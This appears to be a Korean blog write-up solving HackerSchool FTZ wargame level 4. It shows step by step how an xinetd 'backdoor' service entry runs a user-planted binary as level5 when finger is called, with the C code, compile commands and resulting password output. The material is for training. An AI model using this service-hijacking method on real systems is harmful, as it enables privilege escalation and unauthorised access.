뇌
[FTZ] level 4 → level 5 문제풀이 본문
level4 - id
: level4 , pw
: suck my brain
[level4@ftz level4]$ ls
hint public_html tmp
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
[level4@ftz level4]$
/etc/xinetd.d/ 디렉토리에 백도어를 심어놓았다고 한다.
일단 /etc/xinetd.d/ 디렉토리에 가보자.
[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls
backdoor daytime echo-udp rexec rsync sgi_fam time
chargen daytime-udp finger rlogin servers talk time-udp
chargen-udp echo ntalk rsh services telnet
[level4@ftz xinetd.d]$ ls -al backdoor
-r--r--r-- 1 root level4 171 9월 10 2011 backdoor
[level4@ftz xinetd.d]$
backdoor 파일은 level4 유저에게 r (읽기)
권한을
주는 것을 알 수 있다.
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = level5
server = /home/level4/tmp/backdoor
log_on_failure += USERID
}
[level4@ftz xinetd.d]$
backdoor 파일은 service finger
함수(?)를 실행시키는 프로그램이다.
service finger
에서 finger
는 리눅스에서 사용자의 계정정보를 확인하는 명령어이다.
trainer 단계에서 잠깐 언급한 내용이라 새록새록 기억이 난다.
[level4@ftz xinetd.d]$ finger
Login Name Tty Idle Login Time Office Office Phone
level4 Level 4 pts/0 Feb 1 21:12 (192.168.0.12)
level4 Level 4 pts/1 1:46 Feb 1 21:08 (192.168.0.12)
root root tty1 2:58 Feb 1 19:53
[level4@ftz xinetd.d]$
이런 식으로 사용자의 로그온 이름, 실제 이름, 터미널 이름, 로그온 시간 등을 보여줄 수 있다.
$ finger <user명> <@host명>
이 명령어를 사용하면 user에 연결되어있는 서버에서 user의 정보를 출력해준다.
backdoor 파일에서 중요한 부분은
유저가 level5 이고,
서버가 /home/level4/tmp/backdoor 에 연결되어있다는 것이다.
위 명령어를 이용하여 정보를 출력해서 password를 알아내는 방식으로 진행할 것인데,
현재 연결된 서버에 /home/level4/tmp/backdoor 라는 파일은 없다.
그러므로 우리가 password를 출력하는
backdoor 라는 파일을 만들면 된다.
[level4@ftz tmp]$ vim backdoor.c
#include<stdio.h>
#include<stdlib.h>
int main()
{
system("my-pass;");
return 0;
}
~
~
~
~
~
~
~
~
~
:wq
이 파일을 backdoor 라는 이름으로 컴파일 하자.
[level4@ftz tmp]$ ls
backdoor.c
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls
backdoor backdoor.c
[level4@ftz tmp]$
이제 finger 명령어를 사용하면 /home/level4/tmp/backdoor 에 연결돼서
이 backdoor 파일을 실행하게 된다.
user명은 level4이고,
host명은 hostname 명령어를 쓰자 해커스쿨 ftz 서버 주소가 나오는데,
나는 vmware로 구축했기 때문에인지 안 먹히는 것 같다.
그래서 ifconfig 명령어로 나온 inet 뒤에 있는 아이피 주소를 사용했다.
[level4@ftz tmp]$ finger level4 @192.168.0.8
^[[H^[[J
Level5 Password is "what is your name?".
Login: level4 Name: Level 4
Directory: /home/level4 Shell: /bin/bash
On since Tue Feb 1 21:12 (KST) on pts/0 from 192.168.0.12
On since Tue Feb 1 21:08 (KST) on pts/1 from 192.168.0.12
2 hours 22 minutes idle
No mail.
No Plan.
[level4@ftz tmp]$
Level5 Password is "what is your name?".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 6 → level 7 문제풀이 (0) | 2020.02.18 |
---|---|
[FTZ] level 5 → level 6 문제풀이 (0) | 2020.02.03 |
[FTZ] level 3 → level 4 문제풀이 (0) | 2020.01.31 |
[FTZ] level 2 → level 3 문제풀이 (0) | 2020.01.30 |
[FTZ] level 1 → level 2 문제풀이 (0) | 2020.01.30 |